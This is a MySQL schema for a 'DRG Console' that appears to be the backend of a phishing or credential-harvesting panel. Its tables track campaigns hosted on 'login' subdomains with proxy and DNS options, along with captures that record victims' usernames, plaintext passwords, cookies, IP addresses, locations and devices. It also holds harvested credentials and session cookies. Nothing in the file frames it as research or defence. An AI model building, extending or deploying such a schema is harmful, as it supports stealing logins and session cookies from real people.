-- DRG Console schema (MySQL 8)
-- Derived from the React app's static datasets.

CREATE TABLE IF NOT EXISTS users (
    id            BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
    name          VARCHAR(120)    NOT NULL,
    email         VARCHAR(190)    NOT NULL,
    password_hash VARCHAR(255)    NOT NULL,
    role          VARCHAR(40)     NOT NULL DEFAULT 'Owner',
    initials      VARCHAR(8)      NOT NULL DEFAULT '',
    created_at    DATETIME        NOT NULL DEFAULT CURRENT_TIMESTAMP,
    updated_at    DATETIME        NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    PRIMARY KEY (id),
    UNIQUE KEY uq_users_email (email)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS campaigns (
    id                 BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
    name               VARCHAR(120)    NOT NULL,
    target             VARCHAR(40)     NOT NULL,
    status             ENUM('Active','Paused','Draft') NOT NULL DEFAULT 'Draft',
    domain             VARCHAR(190)    NULL,
    service_subdomain  VARCHAR(63)     NOT NULL DEFAULT 'login',
    proxy              TINYINT(1)      NOT NULL DEFAULT 0,
    manage_dns         TINYINT(1)      NOT NULL DEFAULT 1,
    html_path          VARCHAR(255)    NULL,
    public_token       CHAR(32)        NULL,
    html_url           VARCHAR(255)    NULL,
    created_at         DATETIME        NOT NULL DEFAULT CURRENT_TIMESTAMP,
    updated_at         DATETIME        NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    PRIMARY KEY (id),
    UNIQUE KEY uq_campaigns_name (name),
    KEY idx_campaigns_status (status),
    KEY idx_campaigns_target (target)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS captures (
    id            BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
    legacy_id     INT UNSIGNED    NULL,
    campaign_id   BIGINT UNSIGNED NULL,
    campaign_name VARCHAR(120)    NOT NULL,
    target        VARCHAR(40)     NOT NULL,
    username      VARCHAR(190)    NOT NULL,
    password      VARCHAR(190)    NOT NULL,
    cookies       INT UNSIGNED    NOT NULL DEFAULT 0,
    cookie_type   VARCHAR(20)     NOT NULL DEFAULT 'mixed',
    ip_address    VARCHAR(45)     NOT NULL,
    country_code  CHAR(2)         NOT NULL,
    location      VARCHAR(120)    NOT NULL,
    device        VARCHAR(80)     NOT NULL,
    device_type   VARCHAR(20)     NOT NULL,
    captured_at   DATETIME        NOT NULL,
    created_at    DATETIME        NOT NULL DEFAULT CURRENT_TIMESTAMP,
    PRIMARY KEY (id),
    UNIQUE KEY uq_captures_legacy (legacy_id),
    KEY idx_captures_campaign (campaign_id),
    KEY idx_captures_captured_at (captured_at),
    KEY idx_captures_country (country_code),
    CONSTRAINT fk_captures_campaign FOREIGN KEY (campaign_id)
        REFERENCES campaigns (id) ON DELETE SET NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS credentials (
    id            BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
    legacy_id     INT UNSIGNED    NULL,
    service       VARCHAR(80)     NOT NULL,
    username      VARCHAR(190)    NOT NULL,
    strength      ENUM('Strong','Medium','Weak') NOT NULL DEFAULT 'Medium',
    reused        TINYINT(1)      NOT NULL DEFAULT 0,
    updated_on    DATE            NOT NULL,
    captured_at   DATETIME        NOT NULL,
    created_at    DATETIME        NOT NULL DEFAULT CURRENT_TIMESTAMP,
    PRIMARY KEY (id),
    UNIQUE KEY uq_credentials_legacy (legacy_id),
    KEY idx_credentials_service (service)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS cookies (
    id            BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
    legacy_id     INT UNSIGNED    NULL,
    domain        VARCHAR(190)    NOT NULL,
    name          VARCHAR(120)    NOT NULL,
    path          VARCHAR(120)    NOT NULL DEFAULT '/',
    expires       VARCHAR(40)     NOT NULL DEFAULT 'Session',
    secure        TINYINT(1)      NOT NULL DEFAULT 1,
    http_only     TINYINT(1)      NOT NULL DEFAULT 1,
    captured_at   DATETIME        NOT NULL,
    created_at    DATETIME        NOT NULL DEFAULT CURRENT_TIMESTAMP,
    PRIMARY KEY (id),
    UNIQUE KEY uq_cookies_legacy (legacy_id),
    KEY idx_cookies_domain (domain)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS visits (
    id            BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
    country_code  CHAR(2)         NOT NULL,
    visit_date    DATE            NOT NULL,
    visits        INT UNSIGNED    NOT NULL DEFAULT 0,
    created_at    DATETIME        NOT NULL DEFAULT CURRENT_TIMESTAMP,
    updated_at    DATETIME        NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    PRIMARY KEY (id),
    UNIQUE KEY uq_visits_country_date (country_code, visit_date),
    KEY idx_visits_date (visit_date)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;